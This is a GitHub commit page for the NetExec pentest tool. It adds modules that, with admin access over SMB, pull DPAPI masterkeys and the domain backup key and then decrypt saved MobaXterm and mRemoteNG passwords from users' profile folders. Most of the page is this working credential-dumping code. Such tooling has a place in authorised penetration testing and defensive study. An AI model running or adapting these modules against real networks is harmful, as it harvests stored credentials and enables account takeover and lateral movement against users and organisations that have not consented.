Skip to content

Commit ad923f8

Browse files
authored
Merge pull request Pennyw0rth#225 from Pennyw0rth/passwords_dump_update
Passwords dump update
2 parents 630d325 + f060aeb commit ad923f8

10 files changed

Lines changed: 722 additions & 17 deletions

File tree

nxc/logger.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -98,6 +98,7 @@ def __init__(self, extra=None):
9898
logging.getLogger("pypykatz").disabled = True
9999
logging.getLogger("minidump").disabled = True
100100
logging.getLogger("lsassy").disabled = True
101+
logging.getLogger("dploot").disabled = True
101102
logging.getLogger("neo4j").setLevel(logging.ERROR)
102103

103104
def format(self, msg, *args, **kwargs): # noqa: A003

nxc/modules/mobaxterm.py

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
2+
from dploot.triage.backupkey import BackupkeyTriage
3+
from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword
4+
from dploot.lib.target import Target
5+
from dploot.lib.smb import DPLootSMBConnection
6+
7+
from nxc.helpers.logger import highlight
8+
9+
10+
class NXCModule:
11+
name = "mobaxterm"
12+
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
13+
supported_protocols = ["smb"]
14+
opsec_safe = True
15+
multiple_hosts = True
16+
17+
def options(self, context, module_options):
18+
"""
19+
PVK Domain backup key file
20+
MKFILE File with masterkeys in form of {GUID}:SHA1
21+
"""
22+
self.pvkbytes = None
23+
self.masterkeys = None
24+
self.conn = None
25+
self.target = None
26+
27+
if "PVK" in module_options:
28+
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
29+
30+
if "MKFILE" in module_options:
31+
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
32+
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
33+
34+
def on_admin_login(self, context, connection):
35+
host = connection.hostname + "." + connection.domain
36+
domain = connection.domain
37+
username = connection.username
38+
kerberos = connection.kerberos
39+
aesKey = connection.aesKey
40+
use_kcache = getattr(connection, "use_kcache", False)
41+
password = getattr(connection, "password", "")
42+
lmhash = getattr(connection, "lmhash", "")
43+
nthash = getattr(connection, "nthash", "")
44+
45+
if self.pvkbytes is None:
46+
try:
47+
dc = Target.create(
48+
domain=domain,
49+
username=username,
50+
password=password,
51+
target=domain,
52+
lmhash=lmhash,
53+
nthash=nthash,
54+
do_kerberos=kerberos,
55+
aesKey=aesKey,
56+
no_pass=True,
57+
use_kcache=use_kcache,
58+
)
59+
60+
dc_conn = DPLootSMBConnection(dc)
61+
dc_conn.connect()
62+
63+
if dc_conn.is_admin:
64+
context.log.success("User is Domain Administrator, exporting domain backupkey...")
65+
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
66+
backupkey = backupkey_triage.triage_backupkey()
67+
self.pvkbytes = backupkey.backupkey_v2
68+
except Exception as e:
69+
context.log.debug(f"Could not get domain backupkey: {e}")
70+
71+
self.target = Target.create(
72+
domain=domain,
73+
username=username,
74+
password=password,
75+
target=host,
76+
lmhash=lmhash,
77+
nthash=nthash,
78+
do_kerberos=kerberos,
79+
aesKey=aesKey,
80+
no_pass=True,
81+
use_kcache=use_kcache,
82+
)
83+
84+
try:
85+
self.conn = DPLootSMBConnection(self.target)
86+
self.conn.smb_session = connection.conn
87+
except Exception as e:
88+
context.log.debug(f"Could not upgrade connection: {e}")
89+
return
90+
91+
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
92+
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
93+
if password != "":
94+
plaintexts[username] = password
95+
if nthash != "":
96+
nthashes[username] = nthash
97+
98+
if self.masterkeys is None:
99+
try:
100+
masterkeys_triage = MasterkeysTriage(
101+
target=self.target,
102+
conn=self.conn,
103+
pvkbytes=self.pvkbytes,
104+
passwords=plaintexts,
105+
nthashes=nthashes,
106+
dpapiSystem={},
107+
)
108+
self.masterkeys = masterkeys_triage.triage_masterkeys()
109+
except Exception as e:
110+
context.log.debug(f"Could not get masterkeys: {e}")
111+
112+
if len(self.masterkeys) == 0:
113+
context.log.fail("No masterkeys looted")
114+
return
115+
116+
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets")
117+
118+
try:
119+
triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys)
120+
_, credentials = triage.triage_mobaxterm()
121+
for credential in credentials:
122+
if isinstance(credential, MobaXtermCredential):
123+
log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1"))
124+
elif isinstance(credential, MobaXtermPassword):
125+
log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1"))
126+
context.log.highlight(f"[{credential.winuser}] {log_text}")
127+
except Exception as e:
128+
context.log.debug(f"Could not loot MobaXterm secrets: {e}")

nxc/modules/mremoteng.py

Lines changed: 212 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,212 @@
1+
import ntpath
2+
from dploot.lib.smb import DPLootSMBConnection
3+
from dploot.lib.target import Target
4+
from Cryptodome.Cipher import AES
5+
from lxml import objectify
6+
from base64 import b64decode
7+
import hashlib
8+
from dataclasses import dataclass
9+
10+
11+
@dataclass
12+
class MRemoteNgEncryptionAttributes:
13+
kdf_iterations: int
14+
block_cipher_mode: str
15+
encryption_engine: str
16+
full_file_encryption: bool
17+
18+
class NXCModule:
19+
"""
20+
Dump mRemoteNG Passwords
21+
module by @_zblurx
22+
"""
23+
24+
name = "mremoteng"
25+
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
26+
supported_protocols = ["smb"]
27+
opsec_safe = True
28+
multiple_hosts = True
29+
30+
def __init__(self, context=None, module_options=None):
31+
self.false_positive = (
32+
".",
33+
"..",
34+
"desktop.ini",
35+
"Public",
36+
"Default",
37+
"Default User",
38+
"All Users",
39+
)
40+
41+
self.mRemoteNg_path = [
42+
"Users\\{username}\\AppData\\Local\\mRemoteNG",
43+
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
44+
]
45+
46+
self.custom_user_path = [
47+
"Users\\{username}\\Desktop",
48+
"Users\\{username}\\Documents",
49+
]
50+
51+
self.recurse_max = 10
52+
53+
def options(self, context, module_options):
54+
"""
55+
SHARE Share parsed. Default to C$
56+
PASSWORD Custom password to decrypt confCons.xml files
57+
CUSTOM_PATH Custom path to confCons.xml file
58+
"""
59+
self.context = context
60+
61+
self.password = "mR3m"
62+
if "PASSWORD" in module_options:
63+
self.password = module_options["PASSWORD"]
64+
65+
self.custom_path = None
66+
if "CUSTOM_PATH" in module_options:
67+
self.custom_path = module_options["CUSTOM_PATH"]
68+
69+
def on_admin_login(self, context, connection):
70+
# 1. Evole conn into dploot conn
71+
self.context = context
72+
self.connection = connection
73+
self.share = connection.args.share
74+
75+
host = f"{connection.hostname}.{connection.domain}"
76+
domain = connection.domain
77+
username = connection.username
78+
kerberos = connection.kerberos
79+
aesKey = connection.aesKey
80+
use_kcache = getattr(connection, "use_kcache", False)
81+
password = getattr(connection, "password", "")
82+
lmhash = getattr(connection, "lmhash", "")
83+
nthash = getattr(connection, "nthash", "")
84+
85+
target = Target.create(
86+
domain=domain,
87+
username=username,
88+
password=password,
89+
target=host,
90+
lmhash=lmhash,
91+
nthash=nthash,
92+
do_kerberos=kerberos,
93+
aesKey=aesKey,
94+
use_kcache=use_kcache,
95+
)
96+
97+
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
98+
99+
# 2. Dump users list
100+
users = self.get_users(dploot_conn)
101+
102+
# 3. Search for mRemoteNG files
103+
for user in users:
104+
for path in self.mRemoteNg_path:
105+
user_path = ntpath.join(path.format(username=user), "confCons.xml")
106+
content = dploot_conn.readFile(self.share, user_path)
107+
if content is None:
108+
continue
109+
self.context.log.info(f"Found confCons.xml file: {user_path}")
110+
self.handle_confCons_file(content)
111+
for path in self.custom_user_path:
112+
user_path = path.format(username=user)
113+
self.dig_confCons_in_files(conn=dploot_conn, directory_path=user_path, recurse_level=0, recurse_max=self.recurse_max)
114+
if self.custom_path is not None:
115+
content = dploot_conn.readFile(self.share, self.custom_path)
116+
if content is not None:
117+
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
118+
self.handle_confCons_file(content)
119+
120+
def upgrade_connection(self, target: Target, connection=None):
121+
conn = DPLootSMBConnection(target)
122+
if connection is not None:
123+
conn.smb_session = connection
124+
else:
125+
conn.connect()
126+
return conn
127+
128+
def get_users(self, conn):
129+
users = []
130+
131+
users_dir_path = "Users\\*"
132+
directories = conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
133+
134+
for d in directories:
135+
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
136+
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
137+
return users
138+
139+
def handle_confCons_file(self, file_content):
140+
main = objectify.fromstring(file_content)
141+
encryption_attributes = MRemoteNgEncryptionAttributes(
142+
kdf_iterations=int(main.attrib["KdfIterations"]),
143+
block_cipher_mode=main.attrib["BlockCipherMode"],
144+
encryption_engine=main.attrib["EncryptionEngine"],
145+
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
146+
)
147+
148+
for node_attribute in self.parse_xml_nodes(main):
149+
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
150+
if password == b"":
151+
continue
152+
name = node_attribute["Name"]
153+
hostname = node_attribute["Hostname"]
154+
domain = node_attribute["Domain"] if node_attribute["Domain"] != "" else node_attribute["Hostname"]
155+
username = node_attribute["Username"]
156+
protocol = node_attribute["Protocol"]
157+
port = node_attribute["Port"]
158+
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
159+
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
160+
161+
def parse_xml_nodes(self, main):
162+
nodes = []
163+
for node in list(main.getchildren()):
164+
node_attributes = node.attrib
165+
if node_attributes["Type"] == "Connection":
166+
nodes.append(node.attrib)
167+
elif node_attributes["Type"] == "Container":
168+
nodes.append(node.attrib)
169+
nodes = nodes + self.parse_xml_nodes(node)
170+
return nodes
171+
172+
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
173+
directory_list = conn.remote_list_dir(self.share, directory_path)
174+
if directory_list is not None:
175+
for item in directory_list:
176+
if item.get_longname() not in self.false_positive:
177+
new_path = ntpath.join(directory_path, item.get_longname())
178+
if item.is_directory() > 0:
179+
if recurse_level < recurse_max:
180+
self.dig_confCons_in_files(conn=conn, directory_path=new_path, recurse_level=recurse_level + 1, recurse_max=recurse_max)
181+
else:
182+
# It's a file, download it to the output share if the mask is ok
183+
if "confCons.xml" in item.get_longname():
184+
self.context.log.info(f"Found confCons.xml file: {new_path}")
185+
content = conn.readFile(self.context.share, new_path)
186+
self.handle_confCons_file(content)
187+
188+
189+
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
190+
encrypted_password = b64decode(encrypted_password)
191+
if encrypted_password == b"":
192+
return encrypted_password
193+
194+
if encryption_attributes.encryption_engine == "AES":
195+
salt = encrypted_password[:16]
196+
associated_data = encrypted_password[:16]
197+
nonce = encrypted_password[16:32]
198+
ciphertext = encrypted_password[32:-16]
199+
tag = encrypted_password[-16:]
200+
key = hashlib.pbkdf2_hmac("sha1", self.password.encode(), salt, encryption_attributes.kdf_iterations, dklen=32)
201+
if encryption_attributes.block_cipher_mode == "GCM":
202+
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
203+
elif encryption_attributes.block_cipher_mode == "CCM":
204+
cipher = AES.new(key, AES.MODE_CCM, nonce=nonce)
205+
elif encryption_attributes.block_cipher_mode == "EAX":
206+
cipher = AES.new(key, AES.MODE_EAX, nonce=nonce)
207+
else:
208+
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}-{encryption_attributes.block_cipher_mode}: Not yet implemented")
209+
cipher.update(associated_data)
210+
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
211+
else:
212+
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")

nxc/modules/rdcman.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,7 @@ def on_admin_login(self, context, connection):
103103
pvkbytes=self.pvkbytes,
104104
passwords=plaintexts,
105105
nthashes=nthashes,
106+
dpapiSystem={},
106107
)
107108
self.masterkeys = masterkeys_triage.triage_masterkeys()
108109
except Exception as e:

0 commit comments

Comments
 (0)